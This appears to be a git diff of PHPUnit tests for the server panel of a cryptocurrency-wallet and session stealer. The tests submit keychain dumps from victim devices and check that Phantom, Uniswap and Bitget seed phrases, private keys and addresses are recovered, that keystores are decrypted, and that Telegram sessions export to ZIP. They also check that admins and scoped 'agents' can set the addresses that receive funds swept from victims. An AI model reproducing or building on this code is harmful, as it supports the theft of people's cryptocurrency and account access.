$entropyBytes = [250, 104, 93, 221, 188, 192, 183, 184, 185, 136, 1, 180, 45, 112, 237, 235];
|
||||
$entropyDict = [];
|
||||
foreach ($entropyBytes as $i => $b) {
|
||||
$entropyDict[(string) $i] = $b;
|
||||
}
|
||||
$vaultJson = json_encode([
|
||||
'version' => 1,
|
||||
'identifier' => 'f78187f50eb3e9b14870489b21ae581ffd021ef3f73667ccfdbeadfb783bace1',
|
||||
'name' => '账户 1',
|
||||
'entropy' => $entropyDict,
|
||||
], JSON_UNESCAPED_UNICODE);
|
||||
$accountHex = bin2hex('.phantom-labs.vault.seedless.f78187f50eb3e9b14870489b21ae581ffd021ef3f73667ccfdbeadfb783bace1');
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'phantom' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'service' => 'app:no-auth',
|
||||
'account' => $accountHex,
|
||||
'dataHex' => bin2hex($vaultJson),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first();
|
||||
$this->assertNotNull($memo, 'Phantom mnemonic should be recovered from entropy');
|
||||
$this->assertSame(12, count(explode(' ', $memo->mnemonic)));
|
||||
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Phantom')->get()
|
||||
->contains(fn ($row) => (int) $row->decrypted === 1)
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_uniswap_plaintext_mnemonic_decrypts(): void
|
||||
{
|
||||
Http::fake();
|
||||
// Uniswap stores the BIP39 mnemonic as hex-encoded UTF-8 plaintext
|
||||
// in the keychain dataHex field.
|
||||
$mnemonic = 'sugar another buzz tourist you hotel boring word castle uncle resource pen';
|
||||
$address = '0x4A4504F0Ea48A83358DF5B4b316cb60c5c0570a4';
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'uniswap' => [
|
||||
'count' => 2,
|
||||
'items' => [
|
||||
[
|
||||
'service' => '',
|
||||
'account' => 'com.uniswap.mobile.mnemonic.'.$address,
|
||||
'dataHex' => bin2hex($mnemonic),
|
||||
],
|
||||
[
|
||||
'service' => '',
|
||||
'account' => 'com.uniswap.mobile.privateKey.'.$address,
|
||||
'dataHex' => bin2hex('zprvAhmjAJA8zFQiXEZRSQkeoJuFtkCoXjTXXTQbcQR2E2Spp599'),
|
||||
],
|
||||
],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
|
||||
// Mnemonic should be recovered by walkForMnemonics.
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics');
|
||||
$this->assertSame($mnemonic, $memo->mnemonic);
|
||||
|
||||
// Address should be extracted from the account field.
|
||||
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', $address)->first();
|
||||
$this->assertNotNull($addr, 'Uniswap address should be extracted from account field');
|
||||
$this->assertSame('ETHEREUM', $addr->chain_type);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_bitget_jwt_address_extracted(): void
|
||||
{
|
||||
Http::fake();
|
||||
// Bitget stores a JWT token in keychain with the wallet address in the payload.
|
||||
$address = '0xb763E99eCF57493bFDe18F812BcDE97Ce35f4A3a';
|
||||
$jwtPayload = json_encode([
|
||||
'address' => $address,
|
||||
'chain' => 'eth',
|
||||
'identity' => 'f8f8e637429715f6f07d0746837db419',
|
||||
]);
|
||||
$jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.'
|
||||
.base64_encode($jwtPayload).'.sig';
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'bitget' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'service' => '_bitkeep_secure_storage',
|
||||
'account' => 'f8f8e637429715f6f07d0746837db419-jwt-token',
|
||||
'dataHex' => bin2hex($jwt),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
|
||||
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', $address)->first();
|
||||
$this->assertNotNull($addr, 'Bitget address should be extracted from JWT token');
|
||||
$this->assertSame('ETHEREUM', $addr->chain_type);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -75,6 +75,18 @@ class KeystoreAdminTest extends TestCase
|
||||
->assertJsonPath('data.items.0.account', 'trust.account')
|
||||
->assertJsonPath('data.items.0.data_preview', '777350');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.detail', $row))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.id', $row->id)
|
||||
->assertJsonPath('data.source', 'Trust Wallet')
|
||||
->assertJsonPath('data.decrypted', 1)
|
||||
->assertJsonPath('data.detail.kind', 'keychain.wallets')
|
||||
->assertJsonPath('data.detail.wallets.trustwallet.count', 1)
|
||||
// Sensitive dataHex must be masked.
|
||||
->assertJsonPath('data.detail.wallets.trustwallet.items.0.dataHex', '***MASKED***(12 hex chars)')
|
||||
->assertJsonPath('data.detail.wallets.trustwallet.items.0._dataDecoded', '777350');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
|
||||
->assertOk()
|
||||
|
||||
@@ -593,6 +593,46 @@ class PageVisitTest extends TestCase
|
||||
->assertJsonPath('data.0.country_label', '中国');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function visits_data_filters_country_by_chinese_name(): void
|
||||
{
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'aaaaaaaaaaaaaaaa',
|
||||
'chain' => PageVisit::CHAIN_CORUNA,
|
||||
'os' => 'iOS',
|
||||
'ip' => '1.2.3.4',
|
||||
'country' => 'CN',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'bbbbbbbbbbbbbbbb',
|
||||
'chain' => PageVisit::CHAIN_CORUNA,
|
||||
'os' => 'iOS',
|
||||
'ip' => '5.6.7.8',
|
||||
'country' => 'US',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
// Chinese name resolves to the same ISO code as the stored value.
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.visits.data', ['range' => 'today', 'country' => '中国']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.country', 'CN')
|
||||
->assertJsonPath('data.0.country_label', '中国');
|
||||
|
||||
// Unrecognized text is ignored (no filter applied), consistent with
|
||||
// how invalid ISO codes are treated.
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.visits.data', ['range' => 'today', 'country' => '不存在的国家']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 2);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function visits_data_does_not_filter_chain_until_explicitly_chosen(): void
|
||||
{
|
||||
|
||||
@@ -8,6 +8,7 @@ use App\Models\Device;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -137,4 +138,95 @@ class PluginSessionPageTest extends TestCase
|
||||
->get(route('user.sessions.download', $other))
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_export_sessions_as_zip(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-export',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'kind' => PluginSession::KIND_TELEGRAM,
|
||||
'account_id' => '111',
|
||||
'payload' => ['user_id' => '111', 'state' => 'abc'],
|
||||
]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'kind' => PluginSession::KIND_TELEGRAM,
|
||||
'account_id' => '222',
|
||||
'payload' => ['user_id' => '222', 'state' => 'def'],
|
||||
]);
|
||||
|
||||
$resp = $this->actingAs($admin, 'admin')
|
||||
->get(route('admin.sessions.export', ['kind' => '1']))
|
||||
->assertOk();
|
||||
$this->assertStringContainsString('attachment', (string) $resp->headers->get('content-disposition'));
|
||||
$this->assertSame('application/zip', $resp->headers->get('content-type'));
|
||||
$this->assertSame('2', $resp->headers->get('x-export-count'));
|
||||
|
||||
// Verify the ZIP contains two JSON files.
|
||||
$body = $resp->streamedContent();
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'test_zip_');
|
||||
file_put_contents($tmp, $body);
|
||||
$zip = new \ZipArchive();
|
||||
$this->assertTrue($zip->open($tmp) === true);
|
||||
$this->assertSame(2, $zip->numFiles);
|
||||
$names = [];
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$names[] = $zip->getNameIndex($i);
|
||||
}
|
||||
$zip->close();
|
||||
@unlink($tmp);
|
||||
$this->assertCount(2, $names);
|
||||
foreach ($names as $name) {
|
||||
$this->assertStringContainsString('tg-', $name);
|
||||
$this->assertStringEndsWith('.json', $name);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function export_returns_error_when_no_data(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.sessions.export', ['kind' => '1']))
|
||||
->assertStatus(422)
|
||||
->assertJsonPath('code', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_export_respects_channel_scope(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
|
||||
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||
$chB = 'cccccccccccccccccccccccccccccccc';
|
||||
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => $chB, 'user_id' => User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1])->id, 'status' => 1]);
|
||||
|
||||
$devA = Device::query()->create(['device_id' => 'dev-a', 'channel_id' => $chA]);
|
||||
$devB = Device::query()->create(['device_id' => 'dev-b', 'channel_id' => $chB]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $devA->id, 'device_key' => 'dev-a',
|
||||
'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => 'aaa',
|
||||
'payload' => ['user_id' => 'aaa'],
|
||||
]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $devB->id, 'device_key' => 'dev-b',
|
||||
'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => 'bbb',
|
||||
'payload' => ['user_id' => 'bbb'],
|
||||
]);
|
||||
|
||||
$resp = $this->actingAs($agentA, 'agent')
|
||||
->get(route('user.sessions.export', ['kind' => '1']))
|
||||
->assertOk();
|
||||
$this->assertSame('1', $resp->headers->get('x-export-count'));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -168,7 +168,7 @@ class SystemAdminTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function settings_page_hides_token_and_shows_readonly_collect_addresses(): void
|
||||
public function settings_page_shows_editable_collect_addresses(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'secret-token-should-not-render',
|
||||
@@ -185,9 +185,9 @@ class SystemAdminTest extends TestCase
|
||||
->assertOk()
|
||||
->assertDontSee('secret-token-should-not-render')
|
||||
->assertDontSee('name="telegram_bot_token"', false)
|
||||
->assertDontSee('name="transfer_to_address"', false)
|
||||
->assertDontSee('name="transfer_to_address_eth"', false)
|
||||
->assertDontSee('name="transfer_to_address_btc"', false)
|
||||
->assertSee('name="transfer_to_address"', false)
|
||||
->assertSee('name="transfer_to_address_eth"', false)
|
||||
->assertSee('name="transfer_to_address_btc"', false)
|
||||
->assertDontSee('name="panel_admin_hosts"', false)
|
||||
->assertDontSee('name="channels_domains"', false)
|
||||
->assertDontSee('后台访问域名')
|
||||
@@ -204,7 +204,7 @@ class SystemAdminTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function settings_update_cannot_change_collect_addresses(): void
|
||||
public function settings_update_can_change_collect_addresses(): void
|
||||
{
|
||||
config([
|
||||
'coruna.transfer.to_address' => 'TKeepCollect',
|
||||
@@ -217,16 +217,16 @@ class SystemAdminTest extends TestCase
|
||||
'telegram_owner_chat_id' => '-1001',
|
||||
'official_album_storage' => '0',
|
||||
'auto_transfer_enabled' => '0',
|
||||
'transfer_to_address' => 'THackedCollect',
|
||||
'transfer_to_address_eth' => '0xHackedCollect',
|
||||
'transfer_to_address_btc' => 'bc1HackedCollect',
|
||||
'transfer_to_address' => 'TNewCollect',
|
||||
'transfer_to_address_eth' => '0xNewCollect',
|
||||
'transfer_to_address_btc' => 'bc1NewCollect',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertSame('TKeepCollect', config('coruna.transfer.to_address'));
|
||||
$this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth'));
|
||||
$this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc'));
|
||||
$this->assertSame('TNewCollect', config('coruna.transfer.to_address'));
|
||||
$this->assertSame('0xNewCollect', config('coruna.transfer.to_address_eth'));
|
||||
$this->assertSame('bc1NewCollect', config('coruna.transfer.to_address_btc'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -183,7 +183,7 @@ class TokenviewWebhookTest extends TestCase
|
||||
&& str_contains($text, 'USDT')
|
||||
&& str_contains($text, '来源</b>: imToken - TRX')
|
||||
&& str_contains($text, '可归集')
|
||||
&& str_contains($text, '❌');
|
||||
&& str_contains($text, '⏳');
|
||||
});
|
||||
}
|
||||
|
||||
@@ -249,7 +249,7 @@ class TokenviewWebhookTest extends TestCase
|
||||
&& ! str_contains($text, '余额入账')
|
||||
&& str_contains($text, '余额')
|
||||
&& str_contains($text, '45.6')
|
||||
&& str_contains($text, '可归集</b>: ❌');
|
||||
&& str_contains($text, '可归集</b>: ⏳');
|
||||
});
|
||||
}
|
||||
|
||||
@@ -389,7 +389,7 @@ class TokenviewWebhookTest extends TestCase
|
||||
return str_contains($text, '余额入账')
|
||||
&& str_contains($text, '来源</b>: imToken - ETH')
|
||||
&& str_contains($text, '可归集</b>: ✅')
|
||||
&& ! str_contains($text, '可归集</b>: ❌');
|
||||
&& ! str_contains($text, '可归集</b>: ⏳');
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user